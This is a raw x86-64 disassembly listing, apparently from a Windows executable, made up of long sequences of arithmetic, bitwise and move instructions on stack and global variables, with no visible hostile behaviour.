lea rax, [rsp + 0x1bc]
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0x8910]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [0x14017a940]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x1e3], al
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9968], rax
mov eax, dword [section..data]
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x99b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f4], eax
mov rax, qword [rsp + 0x8790]
mov rcx, qword [rsp + 0x7e48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8490], rax
movsx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0x8798]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a700]
mov byte [rcx], al
movzx eax, word [rsp + 0xf88]
mov word [rsp + 0x127c], ax
movzx eax, word [rsp + 0xe6c]
mov rcx, qword [0x14017a6e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8900]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0x85e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8828]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf2], al
mov rax, qword [rsp + 0x8060]
mov rax, qword [rax]
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0x9888]
mov ecx, dword [rsp + 0x3d3c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9db8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8948]
mov qword [rsp + 0xa340], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa340]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x408c], eax
lea rax, [rsp + 0x88d0]
mov qword [rsp + 0xa348], rax
movzx eax, word [0x14017a6b8]
mov word [0x14017abe8], ax
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8b98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1134], ax
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x1280], ax
movzx eax, byte [rsp + 0x148]
mov rcx, qword [0x14017a668]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0x8310]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0x8de8]
mov qword [rsp + 0xa350], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x90b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f58], rax
mov eax, dword [rsp + 0x3d30]
mov dword [rsp + 0x4250], eax
mov eax, dword [rsp + 0x3da4]
mov ecx, dword [rsp + 0x3bfc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7230]
mov dword [rcx], eax
movzx eax, word [0x140179150]
mov rcx, qword [rsp + 0x8d18]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x14017a9d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1af]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf30]
mov word [rsp + 0x1284], ax
movzx eax, byte [rsp + 0x18c]
movzx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov byte [rsp + 0xa7], al
lea rax, [rsp + 0x1064]
mov qword [rsp + 0xa358], rax
mov rax, qword [rsp + 0x7ea0]
mov rcx, qword [rsp + 0x9d48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9830]
mov dword [rcx], eax
mov eax, dword [rsp + 0x410c]
mov ecx, dword [rsp + 0x41d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca4], eax
lea rax, [rsp + 0x8708]
mov qword [rsp + 0xa360], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa168], rax
mov rax, qword [rsp + 0x9b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11cc]
add eax, ecx
mov word [0x140179174], ax
lea rax, [rsp + 0x156]
mov qword [rsp + 0xa368], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [0x14017a770]
add eax, ecx
mov rcx, qword [rsp + 0x8190]
mov word [rcx], ax
lea rax, [rsp + 0x9e]
mov qword [rsp + 0xa370], rax
mov rax, qword [rsp + 0x8aa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov word [rsp + 0x11ac], ax
mov rax, qword [rsp + 0x8478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f5c]
sar eax, cl
mov dword [rsp + 0x4004], eax
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov qword [rsp + 0xa378], rax
mov rax, qword [rsp + 0x9080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4074]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c74], eax
mov rax, qword [rsp + 0x81d8]
mov rax, qword [rax]
mov qword [rsp + 0xa380], rax
lea rax, [rsp + 0x130]
mov qword [0x14017abf0], rax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9218]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1184], ax
movzx eax, byte [rsp + 0x145]
movzx ecx, byte [0x14017908a]
shl eax, cl
mov rcx, qword [rsp + 0x8328]
mov byte [rcx], al
lea rax, [rsp + 0x183]
mov qword [rsp + 0xa388], rax
movsx eax, word [rsp + 0xff4]
mov rcx, qword [rsp + 0x89c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe60], ax
mov rax, qword [rsp + 0x88a0]
mov eax, dword [rax]
mov dword [rsp + 0x4254], eax
mov eax, dword [rsp + 0x3bb4]
mov ecx, dword [rsp + 0x3cdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7370]
mov rcx, qword [rsp + 0x8a30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x9050]
mov rax, qword [rax]
mov qword [rsp + 0xa390], rax
movsx eax, byte [0x140179046]
mov rcx, qword [rsp + 0x9a28]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017aa68]
mov byte [rcx], al
mov rax, qword [rsp + 0x76a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc30]
add eax, ecx
mov rcx, qword [rsp + 0x9388]
mov word [rcx], ax
lea rax, [rsp + 0x127]
mov qword [rsp + 0xa398], rax
mov rax, qword [rsp + 0x7628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
add eax, ecx
mov rcx, qword [rsp + 0xa358]
mov word [rcx], ax
lea rax, [rsp + 0x9f]
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x84d0]
mov rcx, qword [rsp + 0x8620]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cac], eax
mov eax, dword [rsp + 0x3fd4]
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x9208]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7ff0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x8a]
movsx ecx, byte [rsp + 0x1ac]
xor eax, ecx
mov rcx, qword [0x14017a7d8]
mov byte [rcx], al
lea rax, [rsp + 0xc70]
mov qword [rsp + 0xa3a8], rax
mov rax, qword [rsp + 0xa370]
movzx eax, byte [rax]
mov rcx, qword [0x14017a600]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7e], al
movzx eax, word [rsp + 0xef0]
movzx ecx, word [rsp + 0x10f4]
shl eax, cl
mov rcx, qword [rsp + 0x76e8]
mov word [rcx], ax
lea rax, [rsp + 0x11ec]
mov qword [rsp + 0xa3b0], rax
mov rax, qword [rsp + 0x7fc8]
mov rcx, qword [rsp + 0x9398]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x98a8], rax
lea rax, [rsp + 0x3bc8]
mov qword [rsp + 0xa3b8], rax
mov rax, qword [rsp + 0x9a00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8088]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x84c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a18]
mov ecx, dword [rsp + 0x409c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8080]
movzx eax, word [rax]
mov word [rsp + 0x1288], ax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790b2], al
mov rax, qword [rsp + 0x9c58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8718]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0xd6]
mov qword [rsp + 0xa3c0], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
mov rax, qword [rsp + 0x7828]
mov ecx, dword [rsp + 0x41c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4170], eax
mov rax, qword [rsp + 0x73b0]
mov rax, qword [rax]
mov qword [rsp + 0xa3c8], rax
mov rax, qword [rsp + 0xa220]
mov ecx, dword [rsp + 0x3ec8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7c30]
mov dword [rcx], eax
lea rax, [rsp + 0x9248]
mov qword [rsp + 0xa3d0], rax
movsx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7fe8]
mov byte [rcx], al
lea rax, [rsp + 0x1038]
mov qword [0x14017abf8], rax
movzx eax, word [rsp + 0x11b0]
mov word [rsp + 0x128c], ax
movzx eax, word [0x14017903c]
mov rcx, qword [rsp + 0xa300]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x9688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd20]
sub eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x8988]
mov eax, dword [rax]
mov dword [rsp + 0x425c], eax
mov rax, qword [rsp + 0x9310]
movzx ecx, al
mov rax, qword [rsp + 0x8690]
shr rax, cl
mov rcx, qword [rsp + 0x8eb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7300]
mov rax, qword [rax]
mov qword [rsp + 0xa3d8], rax
mov rax, qword [rsp + 0xa098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3d08]
shl eax, cl
mov dword [rsp + 0x4220], eax
mov rax, qword [rsp + 0x81a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xef4]
or eax, ecx
mov word [rsp + 0x11c4], ax
movzx eax, word [rsp + 0xf70]
movzx ecx, word [rsp + 0xfa8]
xor eax, ecx
mov word [0x140179150], ax
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x9b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
and eax, ecx
mov byte [rsp + 0x1a9], al
lea rax, [rsp + 0x191]
mov qword [rsp + 0xa3e0], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x9638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4044], eax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0xa030]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa3d0]
mov qword [rcx], rax
lea rax, [rsp + 0xa168]
mov qword [rsp + 0xa3e8], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3df8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov dword [rcx], eax
lea rax, [rsp + 0x82]
mov qword [rsp + 0xa3f0], rax
movsx eax, word [rsp + 0xfb4]
mov rcx, qword [rsp + 0x8a38]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a580], ax
mov rax, qword [rsp + 0x92b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x197], al
lea rax, [rsp + 0xd68]
mov qword [rsp + 0xa3f8], rax
movsx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0x8228]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [0x14017ab58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e58]
mov eax, dword [rax]
mov dword [rsp + 0x4260], eax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc8], rax
lea rax, [rsp + 0x3e00]
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0x7990]
mov rcx, qword [rsp + 0x9cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a30], rax
mov rax, qword [rsp + 0x6c60]
movzx eax, word [rax]
mov word [0x14017ac00], ax
movzx eax, word [rsp + 0x11ac]
movzx ecx, word [rsp + 0xe28]
shl eax, cl
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x9308]
movzx eax, byte [rax]
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0x9378]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x87c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x84f0]
mov byte [rcx], al
mov rax, qword [0x14017a828]
movzx eax, word [rax]
mov word [rsp + 0x1290], ax
mov rax, qword [rsp + 0x7690]
mov rcx, qword [rsp + 0x6ff0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x74c0], rax
mov eax, dword [rsp + 0x40e0]
mov rcx, qword [rsp + 0x9520]
mov qword [rsp + 0xa408], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa408]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3d04], eax
lea rax, [rsp + 0x3e08]
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0x75e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8dc8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xec0]
movzx ecx, word [rsp + 0xf48]
imul eax, ecx
mov rcx, qword [0x14017ab18]
mov word [rcx], ax
movzx eax, byte [0x140179072]
mov byte [rsp + 0x1e6], al
movsx eax, word [rsp + 0xcbc]
movsx ecx, word [rsp + 0xfe0]
add eax, ecx
mov word [rsp + 0xd80], ax
movzx eax, byte [rsp + 0x16e]
movzx ecx, byte [0x14017a582]
add eax, ecx
mov rcx, qword [rsp + 0x9a38]
mov byte [rcx], al
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8140]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ed0], rax
lea rax, [rsp + 0x8958]
mov qword [rsp + 0xa418], rax
mov eax, dword [rsp + 0x4210]
mov ecx, dword [rsp + 0x3d90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x80e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
mov dword [rsp + 0x4264], eax
movsx eax, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [0x1401790b3], al
movsx eax, word [rsp + 0x1248]
movsx ecx, word [rsp + 0xc54]
add eax, ecx
mov rcx, qword [rsp + 0x70f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov byte [rsp + 0x68], al
movzx eax, word [rsp + 0xe20]
mov word [rsp + 0x1294], ax
mov rax, qword [0x14017aab0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1284]
imul eax, ecx
mov rcx, qword [rsp + 0x7228]
mov word [rcx], ax
lea rax, [rsp + 0x8908]
mov qword [rsp + 0xa420], rax
mov eax, dword [rsp + 0x3cb4]
mov ecx, dword [rsp + 0x3cb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ff0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x85b8]
mov eax, dword [rax]
mov dword [rsp + 0x4268], eax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [0x14017a980]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017909e], al
mov rax, qword [rsp + 0x6e60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfd]
shl eax, cl
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
lea rax, [rsp + 0xcf4]
mov qword [rsp + 0xa428], rax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov rcx, qword [0x14017a8a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0x7a50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ee8]
mov byte [rcx], al
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0xa430], rax
mov rax, qword [rsp + 0x8a40]
mov rcx, qword [rsp + 0x9070]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9eb8], rax
mov rax, qword [rsp + 0xa308]
mov eax, dword [rax]
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0x8a00]
mov rcx, qword [rsp + 0x8580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x4d]
sub eax, ecx
mov byte [0x1401790b6], al
movsx eax, word [rsp + 0x11b8]
mov rcx, qword [rsp + 0x8a80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa428]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d2]
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0x7fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9100]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8388]
mov word [rcx], ax
lea rax, [rsp + 0x1124]
mov qword [rsp + 0xa438], rax
mov rax, qword [rsp + 0x7dd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x414c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9aa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9248]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9370], rax
lea rax, [rsp + 0xf08]
mov qword [0x14017ac08], rax
lea rax, [rsp + 0x1058]
mov qword [rsp + 0xa440], rax
mov rax, qword [rsp + 0x82a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e20]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x1e9], al
mov rax, qword [0x14017a550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x77f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x7cd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3cdc]
shl eax, cl
mov dword [rsp + 0x3ff0], eax
mov rax, qword [rsp + 0xa1e0]
mov qword [rsp + 0xa448], rax
mov rax, qword [rsp + 0x8d48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9db8]
mov qword [rsp + 0xa450], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa450]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7968]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov qword [rsp + 0xa458], rax
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x84e8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017a5c3], al
movzx eax, byte [rsp + 0x1d6]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x12c], al
movsx eax, word [rsp + 0xc3c]
mov rcx, qword [rsp + 0x95b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee8], ax
lea rax, [rsp + 0xce4]
mov qword [rsp + 0xa460], rax
movsx eax, byte [rsp + 0x6b]
mov rcx, qword [rsp + 0x8120]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a4], al
mov eax, dword [rsp + 0x3cd4]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x9b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d64], eax
mov rax, qword [rsp + 0x7530]
mov qword [rsp + 0xa468], rax
mov rax, qword [rsp + 0x9a08]
mov rcx, qword [rsp + 0x8b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d80], rax
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0x10e8]
add eax, ecx
mov rcx, qword [rsp + 0x9420]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfb0]
sub eax, ecx
mov word [0x140179178], ax
lea rax, [rsp + 0xf9]
mov qword [rsp + 0xa470], rax
movsx eax, byte [0x14017904e]
movsx ecx, byte [rsp + 0x1be]
sub eax, ecx
mov byte [rsp + 0x166], al
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0x1298], ax
mov rax, qword [rsp + 0x9500]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa298], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3bf4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7ca0]
mov rax, qword [rax]
mov qword [rsp + 0xa478], rax
mov eax, dword [rsp + 0x3e84]
mov ecx, dword [rsp + 0x3f94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ba8]
mov dword [rcx], eax
movzx eax, byte [0x14017905a]
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x9618]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7538]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017906f], al
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8260]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfc4], ax
movzx eax, word [rsp + 0xe50]
mov word [rsp + 0x129c], ax
mov rax, qword [rsp + 0x9860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2b0]
mov qword [rsp + 0xa480], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa480]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x8a20]
mov eax, dword [rax]
mov dword [rsp + 0x4278], eax
mov rax, qword [rsp + 0x8a40]
mov rcx, qword [rsp + 0x8e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7968]
mov dword [rcx], eax
lea rax, [rsp + 0x1250]
mov qword [rsp + 0xa488], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a4]
add eax, ecx
mov byte [0x140179087], al
movsx eax, byte [rsp + 0x14c]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf4], al
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xa490], rax
mov rax, qword [rsp + 0x91e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a0]
and eax, ecx
mov rcx, qword [rsp + 0x7320]
mov byte [rcx], al
mov rax, qword [rsp + 0x7eb8]
mov qword [rsp + 0xa498], rax
mov rax, qword [rsp + 0x7110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8138], rax
mov rax, qword [rsp + 0x7c70]
mov rcx, qword [rsp + 0x84a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fbc], eax
mov rax, qword [rsp + 0x6dc0]
mov eax, dword [rax]
mov dword [rsp + 0x427c], eax
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xddc], ax
movzx eax, word [rsp + 0x11ec]
mov word [0x14017ac10], ax
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x8ef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7920]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8510]
mov byte [rcx], al
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0xa278]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov word [rcx], ax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xa4a0], rax
mov rax, qword [rsp + 0x7630]
mov rcx, qword [rsp + 0x7198]
mov qword [rsp + 0xa4a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8998], rax
lea rax, [rsp + 0x412c]
mov qword [rsp + 0xa4b0], rax
mov rax, qword [rsp + 0x9608]
mov rcx, qword [rsp + 0x8088]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x77d0], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x191]
xor eax, ecx
mov byte [0x14017a4fb], al
lea rax, [rsp + 0xe84]
mov qword [rsp + 0xa4b8], rax
mov rax, qword [rsp + 0x7360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7fd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7bb8]
mov word [rcx], ax
lea rax, [rsp + 0x175]
mov qword [rsp + 0xa4c0], rax
mov rax, qword [rsp + 0x9360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e3]
sub eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
